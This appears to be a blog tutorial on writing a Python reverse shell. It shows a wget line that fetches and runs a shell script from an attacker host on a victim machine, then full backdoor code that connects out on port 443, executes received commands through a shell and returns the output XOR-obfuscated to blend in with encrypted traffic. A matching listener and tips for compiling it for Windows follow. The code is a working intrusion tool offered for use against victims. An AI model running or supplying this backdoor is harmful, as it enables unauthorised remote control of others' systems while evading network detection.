This blog post will demonstrate how you can leverage Python to create a reverse shell. First we will show how to leverage the web server functionality to move files from one host to another. Say for example you have a raw shell on a potential victim and want to pull over a Python reverse shell(or meterpreter binary) to have better access to the host. You could quickly start up a Python web server in a single line of Code and then pull the file over.
To create a python HTTP server the built-in function “SimpleHTTPServer” can be leveraged. You can invoke a module directly from the command line with switch “-m”. By default the listener will start on port 8000, but you can specify the port you’d like to use as an argument:
python -m SimpleHTTPServer 80 Serving HTTP on 0.0.0.0 80 ...
Now assuming you don’t have a firewall blocking connections you should be able to issue requests to the server. You can place your python shell in the same directory that you started the Python HTTP server and it should be accessible by a remote client. Here is an example of how you might want to leverage wget. I find it very common in cases where you land an initial web shell that you don’t have permission to write in the current working directory, and you lack the ability to change directories. So to solve the problem you can do the following:
# Switch -O allows you to output to another directory - /tmp/ is often writable wget -O /tmp/shell.py http://<attacker_ip>/shell.py # Change permissions chmod a+x /tmp/shell.py # Always a good idea to make sure the file pulled over properly file /tmp/shell.py # Run the python shell /usr/bin/python /tmp/shell.py
Now lets take a look at the actual code for the backdoor. We will be leveraging the socket and subprocess module to interact with OS. I really like the subprocess module because it allows you to store STDOUT to a variable which can be fiddled with further in a script. To add a layer of obfuscation we will XOR the data sent over the wire and send it out port 443. This is because this port is commonly used to transfer SSL data and XOR’d data could easily blend in:
#!/usr/bin/python import socket,subprocess,sys RHOST = sys.argv RPORT = 443 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT)) while True: # recieve XOR encoded data from network socket data = s.recv(1024) # XOR the data again with a 'x41' to get back to normal data en_data = bytearray(data) for i in range(len(en_data)): en_data[i] ^=0x41 # Execute the decoded data as a command. The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) STDOUT, STDERR = comm.communicate() # Encode the output and send to RHOST en_STDOUT = bytearray(STDOUT) for i in range(len(en_STDOUT)): en_STDOUT[i] ^=0x41 s.send(en_STDOUT) s.close()
The code above builds on the concepts we covered in tutorial 0x1 but in addition to making a socket connection we are now executing a command with the subprocess module. The subprocess module is very handy because it allows you to redirct STDOUT/STDERR from commands to a variable. We can then encode the output from a command and send it over the network socket. The nice thing about XOR’n data is that you can easily reverse the encoding by XOR’n the same data over again with the same key to get back to normal. This is allows us to quickly encode the data and pass it over the wire, then decode the data to execute the command in clear-text.
Now in order to successfully use this backdoor we will need to have a listener on the other end to XOR the data again so we can see clear-text. Below is a listener designed to catch the reverse shell and decode/encode the input/output properly so we can see clear-text on our terminal, but packet contents are XOR encoded.
import socket s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", 443)) s.listen(2) print "Listening on port 443... " (client, (ip, port)) = s.accept() print " Received connection from : ", ip while True: command = raw_input('~$ ') encode = bytearray(command) for i in range(len(encode)): encode[i] ^=0x41 client.send(encode) en_data=client.recv(2048) decode = bytearray(en_data) for i in range(len(decode)): decode[i] ^=0x41 print decode client.close() s.close()
This is a very fun use case for Python because everyone likes shells! This can be adapted to work with Windows by using PyInstaller to compile the Python script to an executable. For practice try encoding/decoding the data using base64 instead of XOR, this can help to build up you Python skills.